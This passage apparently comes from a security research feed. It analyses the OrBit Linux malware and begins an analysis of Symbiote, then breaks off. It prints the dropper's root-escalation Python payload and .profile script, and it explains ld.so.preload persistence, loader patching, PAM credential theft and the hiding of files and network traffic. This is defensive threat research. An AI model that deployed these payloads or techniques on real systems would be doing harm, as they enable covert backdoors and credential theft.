Lastly, it will append &lt;code&gt;/etc/ld.so.preload&lt;/code&gt; to the end of the temp file to make
sure that the malicious library will be loaded first.&lt;/p&gt;
&lt;p&gt;Before it loads the malicious library to the dynamic linker, the dropper makes
sure to save a copy of the legitimate dynamic linker into
&lt;code&gt;MALWARE_FOLDER/.backup_ld.so&lt;/code&gt; so it if needed it can restore the environment
and to use the legitimate data to hide the malware (more about in the next
section).&lt;/p&gt;
&lt;p&gt;The preparation of the environment is achieved by setting a unique group ID
(GID) to the path that is used by the malware. In the sample we analyzed the
value is &lt;code&gt;0xE0B2E&lt;/code&gt;, the same GID will be used by the payload. In addition, the
dropper copies &lt;code&gt;python&lt;/code&gt; (from &lt;code&gt;/usr/bin/python&lt;/code&gt;) to the &lt;code&gt;MALWARE_FOLDER&lt;/code&gt; and
creates 4 additional files that will be used by the malware:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;/lib/libntpVnQE6mk/.logpam
/lib/libntpVnQE6mk/sshpass.txt
/lib/libntpVnQE6mk/sshpass2.txt
/lib/libntpVnQE6mk/.ports&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And the dropper writes the following 2 files, to grant the threat actors remote
access.&lt;/p&gt;
&lt;p&gt;The payload below is saved in &lt;code&gt;MALWARE_FOLDER/bin/escalator&lt;/code&gt;&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;import os
os.setreuid(0,0)
os.execv(&amp;#34;/bin/bash&amp;#34;, (&amp;#34;/bin/bash&amp;#34;, &amp;#34;-i&amp;#34;))&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The payload below is saved in &lt;code&gt;MALWARE_FOLDER/.profile&lt;/code&gt;&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;#!/bin/bash
if [ &amp;#34;$(id -u)&amp;#34; -ne 0 ] ; then
echo &amp;#34;Welcome to $(hostname). You are GID $(id -g), UID $(id -u) and about to be escalated to UID 0.&amp;#34;
exec ~/bin/python ~/bin/escalator
fi&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;The OrBit Payload&lt;span class="hx:absolute hx:-mt-20" id="the-orbit-payload"&gt;&lt;/span&gt;
&lt;a href="#the-orbit-payload" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/07/orbit-new-undetected-linux-threat/images/fig2.png" title="The payload sample on VT ac89d638cb6912b58de47ac2a274b2fb" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;The payload sample on VT ac89d638cb6912b58de47ac2a274b2fb&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The payload is a shared object (.SO file) that can be placed either in
persistent storage, for example &lt;code&gt;/lib/libntpVnQE6mk/&lt;/code&gt;, or in shim-memory under
&lt;code&gt;/dev/shm/ldx/&lt;/code&gt;. If it&amp;rsquo;s placed in the first path the malware will be
persistent, otherwise it is volatile.&lt;/p&gt;
&lt;p&gt;The shared object hooks functions from 3 libraries: libc, libcap and Pluggable
Authentication Module (PAM). Existing processes that use these functions will
essentially use the modified functions, and new processes will be hooked with
the malicious library as well, allowing the malware to infect the whole machine
and harvest credentials, evade detection, gain persistence and provide remote
access to the attackers.&lt;/p&gt;
&lt;p&gt;When implementing the hooking of libc functions it first calls &lt;code&gt;syscall&lt;/code&gt; with
the corresponding system call number as can be seen in the screenshot below.
Strings are obfuscated with simple XOR with a hardcoded key.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/07/orbit-new-undetected-linux-threat/images/fig3.png" title="Hooked stat function in the malware" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Hooked stat function in the malware&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h4&gt;SSH connection&lt;span class="hx:absolute hx:-mt-20" id="ssh-connection"&gt;&lt;/span&gt;
&lt;a href="#ssh-connection" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;One of the capabilities of the malware is to set up a remote connection on the
machine, it hooks 3 functions in the Pluggable Authentication Module library:
&lt;code&gt;pam_open_session&lt;/code&gt;, &lt;code&gt;pam_authenticate&lt;/code&gt; and &lt;code&gt;pam_acct_mgmt&lt;/code&gt;. By hooking these
functions the malware is capable of stealing information from SSH connections
and providing remote access to the attackers and hiding the network activity.&lt;/p&gt;
&lt;p&gt;When the hooked &lt;code&gt;pam_authenticate&lt;/code&gt; is called it checks if the user name and the
password equal to hardcoded values, and if that&amp;rsquo;s the case it will log the port
that is used for the connection in &lt;code&gt;/lib/libntpVnQE6mk/.ports&lt;/code&gt; and open the SSH
connection. In other cases, it will check if the file
&lt;code&gt;/lib/libntpVnQE6mk/.logpam&lt;/code&gt; exists (in the sample we analyzed it was created
by the dropper) and if so it will log the credentials to a file
&lt;code&gt;/lib/libntpVnQE6mk/sshpass.txt&lt;/code&gt;. Essentially the first file serves as a flag.&lt;/p&gt;
&lt;h4&gt;OrBit&amp;rsquo;s evasion techniques&lt;span class="hx:absolute hx:-mt-20" id="orbits-evasion-techniques"&gt;&lt;/span&gt;
&lt;a href="#orbits-evasion-techniques" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;To evade detection the malware hooks multiple functions to prevent them from
outputting information that might reveal the existence of the malicious shared
library in the running processes or the files that are being used by the
malware. The malware uses a hardcoded GID value (the one set by the dropper) to
identify the files and processes that are related to the malware and based on
that it will manipulate the behavior of the hooked functions. For example,
&lt;code&gt;readdir&lt;/code&gt; is hooked to check the GID of the calling process, if it doesn&amp;rsquo;t
match the hardcoded value, all of the directories with the predefined GID value
will be omitted from the function&amp;rsquo;s output.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/07/orbit-new-undetected-linux-threat/images/fig4.png" title="Call getgid system call to check the GID of the process" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Call getgid system call to check the GID of the process&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The malware hooks functions that open files: &lt;code&gt;fopen&lt;/code&gt;, &lt;code&gt;open&lt;/code&gt;, &lt;code&gt;open64&lt;/code&gt;, and
&lt;code&gt;openat&lt;/code&gt; and checks if the file that was provided to the relevant open function
is part of the proc file system. One of the paths that is being checked is
&lt;code&gt;/proc/net/tcp&lt;/code&gt; as it can disclose the network traffic generated by the
backdoor. The way in which the malware handles the output of this file is
similar to other files that are being opened and resembles the implementation
in Symbiote. The hooked function reads the content of the file and compares the
content, one line at a time to the content of &lt;code&gt;MALWARE_FOLDER/.ports&lt;/code&gt; which
holds the information about port and addresses used by the malware. The malware
creates a temp file and writes only the lines that don&amp;rsquo;t expose the malware.
Once the file has proceeded, the malware returns the file descriptor to the
temp file to the caller.&lt;/p&gt;
&lt;p&gt;The following
&lt;a href="https://man7.org/linux/man-pages/man5/proc.5.html#:~:text=where%20it%20resides.-,%2Fproc%2F%5Bpid%5D%2Fmaps,-A%20file%20containing"target="_blank" rel="noopener"&gt;file paths&lt;/a&gt;
show the currently mapped memory regions and their access permissions:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;/proc/%PID%/maps
/proc/%PID%/smaps
/proc/%PID%/numa_maps&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;When a process accesses one of these files it may disclose the shared library,
therefore the hooked open functions verify that the output doesn&amp;rsquo;t contain a
path to the directory used by the malware, in a similar way as described above.&lt;/p&gt;
&lt;p&gt;Another file in the proc filesystem that is being checked is &lt;code&gt;/proc/loadavg&lt;/code&gt;.
This file is used by utilities such as &lt;code&gt;uptime&lt;/code&gt;, it provides information about
the CPU usage and the status of currently running processes. The malware will
process the information from this file in a similar way as the previous files.&lt;/p&gt;
&lt;p&gt;The malware hooks &lt;code&gt;execve&lt;/code&gt; to evade detection of certain utilities, control the
behavior of processes and to maintain its persistence by infecting new
processes. The hooking logic checks the process name and path and compares it
to different usulites in &lt;code&gt;/bin&lt;/code&gt;, &lt;code&gt;/usr&lt;/code&gt; and &lt;code&gt;/sbin&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The hooked &lt;code&gt;execve&lt;/code&gt; function is used by the malware to hide the network
activity, the malware checks if the new process is &lt;code&gt;ip&lt;/code&gt; or &lt;code&gt;iptables&lt;/code&gt; utility
(it checks both the &lt;code&gt;/usr/sbin&lt;/code&gt; and &lt;code&gt;/sbin&lt;/code&gt;) it will first execute the command
and pipe the output to a local buffer where it will inspect the records and
check if there is a match between the records and the information stored in
&lt;code&gt;MALWARE_FOLDER/.net&lt;/code&gt; or &lt;code&gt;MALWARE_FOLDER/.fw&lt;/code&gt; – the record will be omitted from
the command&amp;rsquo;s output.&lt;/p&gt;
&lt;p&gt;When &lt;code&gt;execve&lt;/code&gt; is called with &lt;code&gt;dmesg&lt;/code&gt; the malware omits records that are equal
to the records in &lt;code&gt;MALWARE_FOLDER/.sys/.dmesg&lt;/code&gt;, and records that contain one of
the following keywords: zapping, &lt;code&gt;tcpdump&lt;/code&gt;, promiscuous, &lt;code&gt;libntpVnQE6mk&lt;/code&gt;,
&lt;code&gt;libdl.so&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;execve&lt;/code&gt; checks if the function was called with the environment variable
&lt;a href="https://man7.org/linux/man-pages/man8/ld.so.8.html"target="_blank" rel="noopener"&gt;&lt;code&gt;LD_TRACE_LOADED_OBJECTS&lt;/code&gt;&lt;/a&gt;,
when this variable is set causes the program to list its dynamic dependencies.
The malware saves the original (unpatched) dynamic linker in a backup file, so
when &lt;code&gt;execve&lt;/code&gt; is called with this variable the output that will be presented is
as if the legitimate dynamic linker was called and it will not list the
malicious library. Essentially the following command is being executed:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;MALWARE_FOLDER/.backup_ld --list %s&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;code&gt;strace&lt;/code&gt; is another utility that is being examined by the hooked &lt;code&gt;execve&lt;/code&gt;.
Because the output of &lt;code&gt;strace&lt;/code&gt; can reveal the malicious library as one of the
libraries that is being loaded by a traced process. &lt;code&gt;strace&lt;/code&gt; can be executed
with the &lt;code&gt;-o&lt;/code&gt; flag that specifies a file path to which the output will be
piped, if it&amp;rsquo;s not set in the command the malware will write the output of
&lt;code&gt;strace&lt;/code&gt; to &lt;code&gt;/tmp/.orbit&lt;/code&gt;. Similar to other utilities, the malware executes the
command and gets the result from the output file. Next it omits records that
contain the symlink one of the following: the malicious library
(&lt;code&gt;MALWARE_FOLDER/.l&lt;/code&gt;), the GID which is used by the malware (&lt;code&gt;920366&lt;/code&gt;) and its
folder path.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/07/orbit-new-undetected-linux-threat/images/fig5.png" title="OrBit malware folder path" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;OrBit malware folder path&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h4&gt;Achieving Persistence&lt;span class="hx:absolute hx:-mt-20" id="achieving-persistence"&gt;&lt;/span&gt;
&lt;a href="#achieving-persistence" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;The malware uses two methods to achieve persistence. The reason the malware
uses both of the methods is to make it hard removing the malware from an
infected machine while it&amp;rsquo;s running. The first method adds the path to the
malware into the &lt;code&gt;/etc/ld.so.preload&lt;/code&gt; configuration file. This instructs the
loader that the malware should be loaded first and for all new processes. In
the case this method is prevented by, for example removing the configuration
file on the infected machine, the malware has its second method which is
achieved by patching the loader binary.&lt;/p&gt;
&lt;p&gt;The malware first makes a copy of the loader&amp;rsquo;s binary so it can patch it. It
performs a simple search in the binary for the string &lt;code&gt;/etc/ld.so.preload&lt;/code&gt;.
Once it&amp;rsquo;s found, it replaces the string to a path to a file within the
&lt;code&gt;%MALWARE_FOLDER%&lt;/code&gt;. The content of this file has the path to the malware
library to act as a &lt;code&gt;ld.so.preload&lt;/code&gt; configuration file. This means when the
patch loader is executed, it uses the file in the &lt;code&gt;%MALWARE_FOLDER%&lt;/code&gt; instead
under &lt;code&gt;/etc&lt;/code&gt;. The malware author has set up these two methods to act as catches
in the case one of them goes away. For example, if an administrator wants to
stop the malware from being loaded by removing the configuration file under
&lt;code&gt;/etc&lt;/code&gt; so the hidden files can be revealed, the patched loader who doesn&amp;rsquo;t use
this file, will just load the malware who will recreate the configuration file.
If the administrator instead overwrites the patched loader with a clean
version, the clean loader loads the malware from the &lt;code&gt;ld.so.preload&lt;/code&gt;
configuration file which repatches the loader.&lt;/p&gt;
&lt;h4&gt;Information Stealing&lt;span class="hx:absolute hx:-mt-20" id="information-stealing"&gt;&lt;/span&gt;
&lt;a href="#information-stealing" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;The backdoor hooks the &lt;code&gt;read&lt;/code&gt; and &lt;code&gt;write&lt;/code&gt; functions to log data that is being
written by the executed processes on the machine. The backdoor checks the flag:
&lt;code&gt;sniff_ssh_session&lt;/code&gt; that defines whether any call to &lt;code&gt;write&lt;/code&gt; will be logged or
only processes executed with &lt;code&gt;sudo&lt;/code&gt; or &lt;code&gt;ssh&lt;/code&gt; sessions. Appears that the
functionality of the flag doesn&amp;rsquo;t reflect the actual flow of the &lt;code&gt;write&lt;/code&gt;
function – when the flag is set to false the hooked function checks if the
process was executed with &lt;code&gt;sudo&lt;/code&gt; or if the calling process is &lt;code&gt;ssh&lt;/code&gt; and logs
the buffer that was passed to the original &lt;code&gt;write&lt;/code&gt; function, the data is stored
at: &lt;code&gt;MALWARE_FOLDER/sshpass2.txt&lt;/code&gt;. Otherwise when the flag is set to true, the
buffer is logged to &lt;code&gt;MALWARE_FOLDER/sniff.txt&lt;/code&gt; without verification of the
calling process name. Once the hooked function is done it will return the
return value of the original function call.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/07/orbit-new-undetected-linux-threat/images/fig6.png" title="Checking the flag sniff_ssh_session." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Checking the flag sniff_ssh_session.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;For &lt;code&gt;bash&lt;/code&gt; and &lt;code&gt;sh&lt;/code&gt; processes that call &lt;code&gt;execve&lt;/code&gt; the hook will log the &lt;code&gt;path&lt;/code&gt;
argument that holds the path to the file that will be executed as a new
process, the hooked function will append a timestamp and the full path and
write the information into &lt;code&gt;MALWARE_FOLDER/execlog&lt;/code&gt;.&lt;/p&gt;
&lt;h4&gt;Network Capabilities&lt;span class="hx:absolute hx:-mt-20" id="network-capabilities"&gt;&lt;/span&gt;
&lt;a href="#network-capabilities" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;The backdoor hooks function from the libpcap library to hide network activity.
If hooks &lt;code&gt;bind&lt;/code&gt; and &lt;code&gt;connect&lt;/code&gt; functions to log the ports that are being used by
processes with the malwar&amp;rsquo;s gid, the ports are being written to
&lt;code&gt;MALWARE_FOLDER/.ports&lt;/code&gt;. The content of this file is used by the backdoor to
manage the ports that are being used in sessions that were opened by the
activity of the backdoor. When a new SSH session is created the port and IP
address is being written to the file.&lt;/p&gt;
&lt;p&gt;The malware hooks the &lt;code&gt;pcap_loop&lt;/code&gt; function and &lt;code&gt;pcap_packet_callback&lt;/code&gt; to filter
out the traffic of the backdoor. To accomplish this task the hooked
&lt;code&gt;pcap_packet_callback&lt;/code&gt; omits ports that are in &lt;code&gt;MALWARE_FOLDER/.ports&lt;/code&gt; as it
contains all of the ports used by the backdoor.&lt;/p&gt;
&lt;h2&gt;Comparing to other Linux threats&lt;span class="hx:absolute hx:-mt-20" id="comparing-to-other-linux-threats"&gt;&lt;/span&gt;
&lt;a href="#comparing-to-other-linux-threats" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;While it&amp;rsquo;s common for malware to hook functions, the usual technique is by
loading a shared library using &lt;code&gt;LD_PRELOAD&lt;/code&gt; – that was the case for Symbiote,
&lt;a href="../../../2019/05/hiddenwasp-malware-targeting-linux-systems"&gt;HiddenWasp&lt;/a&gt; and
other threats.&lt;/p&gt;
&lt;p&gt;This malware uses XOR encrypted strings and steals passwords – similar to other
Linux backdoors reported by
&lt;a href="https://www.welivesecurity.com/2013/01/24/linux-sshdoor-a-backdoored-ssh-daemon-that-steals-passwords/"target="_blank" rel="noopener"&gt;ESET&lt;/a&gt;.
But unlike other threats, this malware steals information from different
commands and utilities and stores them in specific files on the machine.
Besides, there is an extensive usage of files for storing data, something that
was not seen before.&lt;/p&gt;
&lt;p&gt;What makes this malware especially interesting is the almost hermetic hooking
of libraries on the victim machine, that allows the malware to gain persistence
and evade detection while stealing information and setting SSH backdoor.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;span class="hx:absolute hx:-mt-20" id="conclusion"&gt;&lt;/span&gt;
&lt;a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Threats that target Linux continue to evolve while successfully staying under
the radar of security tools, now OrBit is one more example of how evasive and
persistent new malware can be.&lt;/p&gt;
&lt;p&gt;I want to thank Joakim Kennedy for his contribution to this research.&lt;/p&gt;
&lt;h2&gt;IoCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Hash&lt;/th&gt;
&lt;th&gt;File&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://analyze.intezer.com/files/f1612924814ac73339f777b48b0de28b716d606e142d4d3f4308ec648e3f56c8?utm_campaign=research-blog&amp;amp;utm_content=orbit-new-undetected-linux-threat&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;&lt;code&gt;f1612924814ac73339f777b48b0de28b716d606e142d4d3f4308ec648e3f56c8&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Dropper&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://analyze.intezer.com/files/40b5127c8cf9d6bec4dbeb61ba766a95c7b2d0cafafcb82ede5a3a679a3e3020?utm_campaign=research-blog&amp;amp;utm_content=orbit-new-undetected-linux-threat&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;&lt;code&gt;40b5127c8cf9d6bec4dbeb61ba766a95c7b2d0cafafcb82ede5a3a679a3e3020&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Payload&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</description></item><item><title>Symbiote Deep-Dive: Analysis of a New, Nearly-Impossible-to-Detect Linux Threat</title><link>https://research.intezer.com/blog/2022/06/new-linux-threat-symbiote/</link><pubDate>Thu, 09 Jun 2022 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2022/06/new-linux-threat-symbiote/</guid><description>
&lt;p&gt;&lt;em&gt;This research is a joint effort between Joakim Kennedy, Security Researcher at
Intezer, and the BlackBerry Threat Research &amp;amp; Intelligence team. It can be
found in the BlackBerry blog &lt;a href="https://blogs.blackberry.com/en/2022/06/symbiote-a-new-nearly-impossible-to-detect-linux-threat"target="_blank" rel="noopener"&gt;here&lt;/a&gt; as well.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;In biology, a symbiote is an organism that lives in symbiosis with another
organism. The symbiosis can be mutually beneficial to both organisms, but
sometimes it can be parasitic when one benefits and the other is harmed. A few
months back, we discovered a new, undetected Linux® malware that acts in this
parasitic nature. We have aptly named this malware Symbiote.&lt;/p&gt;
&lt;p&gt;What makes Symbiote different from other Linux malware that we usually come
across, is that it needs to infect other running processes to inflict damage on
infected machines. Instead of being a standalone executable file that is run to
infect a machine, it is a shared object (SO) library that is loaded into all
running processes using
&lt;a href="https://attack.mitre.org/techniques/T1574/006/"target="_blank" rel="noopener"&gt;LD_PRELOAD (T1574.006)&lt;/a&gt;, and
parasitically infects the machine. Once it has infected all the running
processes, it provides the threat actor with rootkit functionality, the ability
to harvest credentials, and remote access capability.&lt;/p&gt;
&lt;h2&gt;The Birth of a Symbiote&lt;span class="hx:absolute hx:-mt-20" id="the-birth-of-a-symbiote"&gt;&lt;/span&gt;
&lt;a href="#the-birth-of-a-symbiote" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Our earliest detection of Symbiote is from November 2021, and it appears to
have been written to target the financial sector in Latin America. Once the
malware has infected a machine, it hides itself and any other malware used by
the threat actor, making infections very hard to detect. Performing live
forensics on an infected machine may not turn anything up since all the file,
processes, and network artifacts are hidden by the malware. In addition to the
rootkit capability, the malware provides a backdoor for the threat actor to log
in as any user on the machine with a hardcoded password and to execute commands
with the highest privileges.&lt;/p&gt;
&lt;p&gt;Since it is extremely evasive, a Symbiote infection is likely to &amp;ldquo;fly under the
radar.&amp;rdquo; In our research, we haven&amp;rsquo;t found enough evidence to determine whether
Symbiote is being used in highly targeted or broad attacks.&lt;/p&gt;
&lt;p&gt;One interesting technical aspect of Symbiote is its Berkeley Packet Filter
(BPF) hooking functionality. Symbiote is not the first Linux malware to use
BPF. For example,
&lt;a href="https://reverse.put.as/2021/12/17/knock-knock-whos-there/"target="_blank" rel="noopener"&gt;advanced backdoors attributed&lt;/a&gt;
to the
&lt;a href="https://www.pangulab.cn/files/The_Bvp47_a_top-tier_backdoor_of_us_nsa_equation_group.en.pdf"target="_blank" rel="noopener"&gt;Equation Group&lt;/a&gt;
have been using BPF for covert communication. However, Symbiote utilizes BPF to
hide malicious network traffic on an infected machine. When an administrator
starts any packet capture tool on the infected machine, BPF bytecode is
injected into the kernel that defines which packets should be captured. In this
process, Symbiote adds its bytecode first so it can filter out network traffic
that it doesn&amp;rsquo;t want the packet-capturing software to see.&lt;/p&gt;
&lt;h2&gt;Evasion Techniques&lt;span class="hx:absolute hx:-mt-20" id="evasion-techniques"&gt;&lt;/span&gt;
&lt;a href="#evasion-techniques" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Symbiote is very stealthy. The malware is designed to be loaded by the linker
via the &lt;code&gt;LD_PRELOAD&lt;/code&gt; directive. This allows it to be loaded before any other
shared objects. Since it is loaded first, it can &amp;ldquo;hijack the imports&amp;rdquo; from the
other library files loaded for the application. Symbiote uses this to hide its
presence on the machine by hooking &lt;code&gt;libc&lt;/code&gt; and &lt;code&gt;libpcap&lt;/code&gt; functions. The image
below shows a summary of the malware&amp;rsquo;s evasions.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/06/new-linux-threat-symbiote/images/fig1.png" title="Figure 1: Symbiote evasion techniques." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 1: Symbiote evasion techniques.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Host Activity&lt;span class="hx:absolute hx:-mt-20" id="host-activity"&gt;&lt;/span&gt;
&lt;a href="#host-activity" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The Symbiote malware, in addition to hiding its own presence on the machine,
also hides other files related to malware likely deployed with it. Within the
binary, there is a file list that is RC4 encrypted. When hooked functions are
called, the malware first dynamically loads libc and calls the original
function. This logic is used in all hooked functions. An example is shown in
Figure 2 below.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
